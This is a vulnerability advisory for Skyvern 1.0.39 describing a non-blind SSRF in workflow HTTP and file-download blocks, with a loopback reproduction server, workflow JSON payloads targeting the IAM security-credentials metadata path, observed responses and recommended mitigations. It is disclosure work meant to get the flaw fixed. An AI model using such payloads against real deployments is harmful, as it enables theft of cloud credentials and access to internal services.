Workflow HTTP/download blocks allow non-blind SSRF to internal network targets
Summary
Skyvern workflow HTTP blocks contain a non-blind SSRF vulnerability. The http_request block validates only that url has a scheme and netloc before forwarding it to aiohttp_request(), and the shared download_file() HTTP branch performs session.get() without checking loopback, private, link-local, or reserved IP ranges. As a result, an authenticated workflow author can make the Skyvern server issue requests to internal network targets and receive the response or downloaded content through workflow output.
To reproduce
Start any loopback-only HTTP service on 127.0.0.1:45427, for example:
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
body = f"SKYVERN-WORKFLOW-SSRF\npath={self.path}\n".encode()
self.send_response(200)
self.end_headers()
self.wfile.write(body)
HTTPServer(("127.0.0.1", 45427), H).serve_forever()
PYThis represents an internal-only service that should not be reachable through user-authored workflow HTTP blocks.
From an authenticated MCP client, create and run a workflow containing an http_request block whose URL points to that loopback service:
{
"workflow_definition": {
"blocks": [{
"block_type": "http_request",
"method": "GET",
"url": "http://127.0.0.1:45427/latest/meta-data/iam/security-credentials/"
}]
}
}I also confirmed the issue through a file-oriented block that calls the shared HTTP downloader, for example file_url_parser:
{
"block_type": "file_url_parser",
"file_url": "http://127.0.0.1:45427/latest/meta-data/iam/security-credentials/"
}Other workflow paths that reuse the same downloader, such as saving HTTP responses as files or downloading remote files to storage, should be checked and protected by the same SSRF guard.
Expected
Server-side workflow HTTP requests and downloads should reject loopback, RFC1918/private, link-local, reserved, and cloud metadata addresses. The check should be applied after URL parsing and DNS resolution, not only through string-based host filtering. Redirects should either be disabled for these sinks or revalidated hop by hop with the same SSRF checks.
Actual
In a local reproduction, Skyvern issued server-side requests to 127.0.0.1. The loopback service received requests from both the direct http_request sink and the shared downloader sink. One representative request is shown below:
GET /latest/meta-data/iam/security-credentials/
Host: 127.0.0.1:45427The direct HTTP request sink returned the internal response body to the workflow:
status=200
body=SKYVERN-WORKFLOW-SSRF
path=/latest/meta-data/iam/security-credentials/The shared download sink also wrote the same internal response into a downloaded file:
SKYVERN-WORKFLOW-SSRF
path=/latest/meta-data/iam/security-credentials/Impact
An authenticated user who can create and run workflows can use Skyvern as a server-side HTTP proxy into networks reachable from the Skyvern deployment. In cloud or containerized environments this may expose instance metadata endpoints, loopback-only admin services, service mesh endpoints, or RFC1918 internal applications, and the vulnerable workflow outputs can return the fetched data to the attacker. The issue crosses the intended boundary between user-authored workflow automation and the deployment's internal network.
Version
1.0.39 (c38a6d276190129135c352ed11958f44ab4f3511)
Source: Skyvern-AI/skyvern